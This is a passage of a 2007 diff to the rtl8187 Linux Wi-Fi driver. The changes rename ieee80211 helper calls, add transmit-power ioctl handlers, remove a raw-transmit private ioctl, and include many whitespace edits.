//write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-06-08 23:30:33.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,157 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +236,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +269,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +293,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +317,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +336,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +388,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +419,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +427,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +447,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +497,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +535,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +553,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +583,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +621,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,32 +673,28 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +706,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +724,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-06-08 23:30:33.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void 